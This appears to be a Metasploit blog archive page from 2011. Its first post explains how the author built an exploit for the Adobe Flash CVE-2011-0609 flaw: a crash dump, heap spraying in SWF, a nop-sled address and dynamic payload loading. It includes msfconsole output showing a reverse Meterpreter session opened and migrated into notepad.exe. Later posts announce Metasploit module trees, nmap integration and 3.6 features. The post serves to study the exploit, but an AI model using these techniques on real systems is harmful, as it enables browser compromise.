Skip navigation
All Places > Metasploit > Blog > 2011 > March

Adobe Flash CVE-2011-0609

Posted by rapid7-admin Mar 26, 2011




Recently, I spent about a week and a half working on the latest 0-day Flash vulnerability. I released a working exploit on March 22nd 2011. The original exploit was just an attempt to get something working out the door for all of our users. The first attempt left a lot to be desired. To understand the crux of this vulnerability and what needed to be done to improve the first attempt at exploiting it I had to dig in deep into ActionScript.




ActionScript is a language which is embedded into an SWF file in the form of a bytecode stream. The embedded bytecode stream is handled by the ActionScript Virtual Machine (AVM) which is tasked with verifying the bytecode and generating native code. This process is commonly referred to as JIT (Just In Time) compiling.


The cause of this specific vulnerability is due to a one byte alteration (fuzzing) within an original well formed bytecode stream found in a file called addLabels.swf. The bytecode passes the verification process and the native code is generated and placed in VirtualAlloc()'d executable memory. The specific results of this code executing is that uninitialized memory is referenced.




  (fb4.9a0): Access violation - code c0000005 (!!! second chance !!!)
  eax=02b38c89 ebx=02b46b20 ecx=02b78040 edx=40027f2b esi=02b467c0 edi=02b5d1f0
  eip=02b7558e esp=0013e0e8 ebp=0013e180 iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040202
  02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]

  0:000> dd eax+8
  02b38c91  40027f2b 21029780 0002b36d e8180000
  02b38ca1  01026d56 34800041 000263d9 08000000
  02b38cb1  0a000000 e8000000 01026d56 43800042
  02b38cc1  000263d9 05000000 0a000000 e8000000
  02b38cd1  01026d56 58800043 000263d9 0c000000
  02b38ce1  0a000000 e8000000 01026d56 7a800044
  02b38cf1  000263d9 06000000 0a000000 e8000000
  02b38d01  01026d56 9c800045 000263d9 08000000


  0:000> u eip
  02b7558e 8b4a70          mov     ecx,dword ptr [edx+70h]
  02b75591 8d559c          lea     edx,[ebp-64h]
  02b75594 89459c          mov     dword ptr [ebp-64h],eax
  02b75597 8b01            mov     eax,dword ptr [ecx]
  02b75599 52              push    edx
  02b7559a 6a00            push    0
  02b7559c 51              push    ecx
  02b7559d ffd0            call    eax




The memory being referenced is uninitialized. To control this memory heapspraying is required. The original exploit used heapspraying within JavaScript. This worked but it was not very reliable.




The solution was to preform the heapspray within a SWF file which loads the trigger SWF. Using from Roee Hay I was able to get some basic heapspraying accomplished. This is a lot more reliable because it is using the same Heap management routines Flash uses to allocate memory. A copy of the ActionScript source code I used for this exploit can be found in the source file.




Now that I have reliable control over the unintialized memory. Whats the next task? The next task is simply constructing the memory in such a way that the call eax instruction in the JIT code executes my shellcode. This was easily done using the good old Skylined technique of using an address which doubles as a nop instruction (0x0d0d0d0d ftw!).




The next major hurdle I had to over come was now that I have execution control what do I execute? While testing I was using a hardcoded payload within the ActionScript which simply executed calc.exe. This just was not going to cut it. A few initial options came to mind, I could hardcode a meterpreter payload. This was not very dynamic at all and so I had to come up with something else. The next option I thought of was using an egghunter payload to find shellcode I could inject in some other fashion. This would work but really limited things to a lot of payload specifics for example if the hardcoded egghunter payload was for a different architecture than the targeted machine things would blow up and break. That would be pretty tragic since all the conditions for getting a shell would be in place but everything breaks due to the dependencies of a hardcoded payload.




Finally, I came to conclusion I needed to find a way to dynamically read a payload using ActionScript. Now I can simply make a HTTP request for a text file and read in the ASCII hexadecimal representation of the payload. After decoding the payload it can be applied to the heapspray code and now we have dynamic payloads in memory. W00t!




   =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
   + -- --=[ 672 exploits - 345 auxiliary
   + -- --=[ 217 payloads - 27 encoders - 8 nops
      =[ svn r12149 updated today (2011.03.26)
   msf > use exploit/windows/browser/adobe_flashplayer_avm
   msf exploit(adobe_flashplayer_avm) > set URIPATH /
   URIPATH => /
   msf exploit(adobe_flashplayer_avm) > exploit
   [*] Exploit running as background job.
   [*] Started reverse handler on

   [*] Using URL:

   msf exploit(adobe_flashplayer_avm) >

   [*]  Local IP:

   [*] Server started.
   [*] Sending Adobe Flash Player AVM Bytecode Verification Vulnerability HTML to
   [*] Sending Exploit SWF
   [*] Sending stage (749056 bytes) to
   [*] Meterpreter session 1 opened ( -> at 2011-03-26 15:23:18 -0400
   [*] Session ID 1 ( -> processing InitialAutoRunScript 'migrate -f'
   [*] Current server process: iexplore.exe (2376)
   [*] Spawning a notepad.exe host process...
   [*] Migrating into process ID 4092
   [*] New server process: notepad.exe (4092)
   msf exploit(adobe_flashplayer_avm) > sessions


   Active sessions


   Id  Type                                   Information                                                                                Connection
   --   -------                                  ----------------                                                                                ----------------
   1   meterpreter x86/win32   WXPPROSP2-001\Administrator @ WXPPROSP2-001 ->



   msf exploit(adobe_flashplayer_avm) >



Thats the entire process it took to create a reliable exploit for this vulnerability. I hope you enjoy all the sessions =).

Originally Posted by hdm




Exploit reliability has been a primary goal of the Metasploit Framework since the beginning. We require all modules to be consistent, reliable, and in cases where targeting is tricky, for this to be reflected in the Exploit Rank and in the default target settings. This policy has resulted in us turning down community submissions and withholding exploits that just didn't quite make the cut for mass distribution. Over the years our core developers and contributors have amassed dozens of modules that suffer from minor flaws or require just a bit more time to get right. These modules tend to be forgotten and eventually lose compatibility with the rest of the framework.


This process is not optimal; even when a module isn't "done", it may still be useful as a proof of concept or as a starting point for another developer to bring it to the next step. A half-finished exploit still provides a level of technical insight into a vulnerability that is difficult to obtain from most public vulnerability databases.


In an effort to improve this situation, we are happy to announce the Metasploit Framework "unstable" module tree. This tree provides a place for rough cut modules and proof of concepts to be submitted, shared, and easily used by other members of the community. Once a module is improved to the point that it meets the standards for inclusion into the main tree, it will be merged over and available via the normal update mechanism. This provides a faster path for community developers to receive feedback and can serve as a reference for anyone interested in the exploit details of a flaw when no stable module is available.


To kick things off, we seeded this tree with fifteen modules from the Rapid7 module archive. Some of these exploits are nearly done, but suffer from minor issues related to automatic exploitation, or have compatibility problems with certain payloads. We hope the community finds these modules useful and submits their own "backlog" for the public to review and improve.


To use these modules, check out the new tree from Subversion and load them into the Metasploit Framework console. The simple way to do this is outlined below:



$ svn co ~/.msf3/unstable/
$ msfconsole -m ~/.msf3/unstable/



To load the unstable tree automatically on startup, enter the following commands into the msfconsole prompt.



msf> setg MsfModulePaths /home/USERNAME/.msf3/unstable/
msf> save



For developers who would like to submit modules, please create a Redmine ticket or send them via email at msfdev[at] Note that the Name field of the module should start with INCOMPLETE or UNRELIABLE depending on the status. This will indicate where it should live in the unstable tree and make it easy for folks to identify unstable modules via the standard console commands. The unstable tree is currently for modules only, but this does include Meterpreter scripts that have been ported to the new Post module format.



Originally Posted by todb




If you've been paying any attention to the open source security software space, you've probably noticed that one of our favorite tools, nmap, ships with a pretty serious scipting engine. NSE allows users to run scripted interactions on discovered services, and lately, the repository of those scripts has exploded. As of the 5.50 release of nmap, there are 177 scripts and 54 supporting libraries, covering all sorts of protocols you're likely run into during a pen-test engagement.



In order to capitalize on this work, I put together a Metasploit mixin to make development of Metasploit-driven NSE scripts pretty easy and straightforward, as well as an example Metasploit module to test for default Oracle database credentials. You can get a hold of these with a checkout from the svn repository:



svn co msf3



Modules that include Msf::Auxiliary::Nmap will now have a few handy methods available to them; most notably, the nmap_run() and nmap_hosts() methods. The first gets a hold of the locally-installed nmap binary and module-defined arguments, and runs the proscribed nmap scan and scripts configured by the module in a consistent, platform-independent way. Nmap_hosts() takes the XML log file produced by nmap_run(), parses out all the host nodes, and passes those back to the module to deal with as it will -- modules can format and display results on the console, log to the database, or perform more follow-on actions.



I'm really excited about the practical collaboration opportunities this integration creates between the nmap and Metasploit communities. If someone writes a wicked fast NSE script for doing interesting things on the network via nmap, Metasploit users can now pretty easily take advantage of the research. Metasploit has supported importing Nmap scan results for a while now, but this mechanism is more direct, more real-time, and can be more specialized to take advantage of specific NSE scripts.

Originally Posted by Chris Kirsch



All Metasploit editions are seeing an update to version 3.6 today, including an enhanced command-line feature set for increased proficiency and detailed PCI reports with pass/fail information for a comprehensive view of compliance posture with PCI regulations.


Here’s an overview of what’s new:


The new Metasploit Pro Console offers powerful new features that help professional penetration testers complete their job more efficiently in their preferred environment - whether it be command line or a graphical user interface.



Metasploit Pro Console - Only available in

Metasploit Pro, this console is for penetration testers who have become highly accustomed to the easy-to-use command-line interface of the Metasploit Framework, but also require the powerful automation capabilities of Metasploit Pro. With the addition of advanced network discovery, automated exploitation, evidence collection, smart brute forcing, and reporting capabilities to the existing features of the Metasploit Console, the results are immediately visible through the standard Web interface, allowing collaboration between team members using a mix of GUI and Console interfaces.


PCI Reporting - A feature only available in Metasploit Pro, which generates reports for PCI DSS compliance with pass/fail information for applicable PCI DSS requirements. The PCI standard requires both vulnerability management (11.2) and penetration tests (11.3); therefore, to facilitate compliance with requirement 11.3, Metasploit Pro now includes a detailed, actionable report on an organization’s security posture regarding requirements two, six and eight, which include password and secure systems maintenance. In addition, organizations can leverage Rapid7’s vulnerability management solution NeXpose® to comply with requirement 11.2.


Project Activity Report - A feature found in Metasploit Pro and Metasploit Express, organizations can now create a PDF report on the exact tests they run at the technical level. This enables clients of a penetration testing firm to retrace the steps that led to a successful assignment.


Asset Tagging - An advanced feature of Metasploit Pro that allows users to freely assign tags to assets based on multiple criteria such as compliance, operation workflow and team collaboration on different operational units. Tags may be used to classify assets and document security findings, with direct integration into the reporting engine. This facilitates improved project management and reporting, in particular for large penetration testing engagements.


Global Search - Found in Metasploit Pro and Metasploit Express, global search benefits users working on teams across various projects, with the ability to now search for tags, host names, IP addresses and annotations across projects and team members. This advanced search makes it easier to find information from previous projects or from other team members.


Post-Exploitation Modules - This feature, found in all Metasploit editions, includes more than a dozen modules that can be run on exploited systems to perform actions such as gathering additional information, pivoting to other networks and elevating system privileges. New post-exploitation modules can be quickly added by Rapid7 as part of the weekly product update. In addition, Metasploit Pro and Metasploit Express provide the ability to run post-exploitation modules on multiple systems simultaneously.


More exploits and auxilary modules - Since version 3.5.1, 14 exploits and 48 additional modules have been added to the Metasploit Framework, Metasploit Express and Metasploit Pro.

If you haven't tried Metasploit Pro yet,
get your free, fully featured Metasploit Pro trial.

Originally Posted by egypt




In coordination with Metasploit Express and Metasploit Pro, version 3.6 of the Metasploit Framework is now available.  Hot on the heels of 3.5.2, this release comes with 8 new exploits and 12 new auxiliaries.  A whopping 10 of those new auxiliary modules are Chris John Riley's foray into SAP, giving you the ability to extract a range of information from servers' management consoles via the SOAP interface.  This release fixes an annoying installer bug on Linux where Postgres would not automatically start on reboot. 


The feature I am most excited about is the new Post Exploitation support. I hinted at this new module type in the 3.5.2 release announcement and with 3.6, more than 20 new modules are available. Post modules are a new, more powerful, replacement for meterpreter scripts. Scripts were clearly tied to a single platform: meterpreter for Windows. With modules it is much easier to abstract common tasks into libraries for any platform that can expose a session. For example, file operations are common across all platforms -- windows/meterpreter, windows/shell, linux/shell, etc. Post modules can simply include Post::File and have access to platform-agnostic methods for interacting with the file system. In the near future, this sort of abstraction will be extended to Windows registry manipulation and service control.


Too much generality can make it difficult to access OS-level features and when you really need to get down and dirty with a session, you still can.  Post modules have a Session object exactly as meterpreter scripts did and you can still access all of the low-level methods available to it.  That means you can use railgun for performing complex system manipulation (e.g. smartlocker ) when necessary.  A major benefit of Post modules is the ability to easily include other mixins from the framework.  From a user's perspective, this means more consistent reporting and option handling than are currently available with scripts. This also opens the door to local exploits for a variety of platforms, including Windows, Linux, and even Cisco IOS through SSH and Telnet sessions.


Although post modules are meant to replace meterpreter scripts, scripts are not going away any time soon. We understand that many users still rely on private scripts for their post-exploitation needs and porting all of them to the new format will take time. So while we will be favoring module contributions over scripts, that doesn't mean your private code is suddenly going to stop working.


This is an exciting release. As always, it is immediately available from the
Metasploit Framework downloads page

Filter Blog

By date: By tag: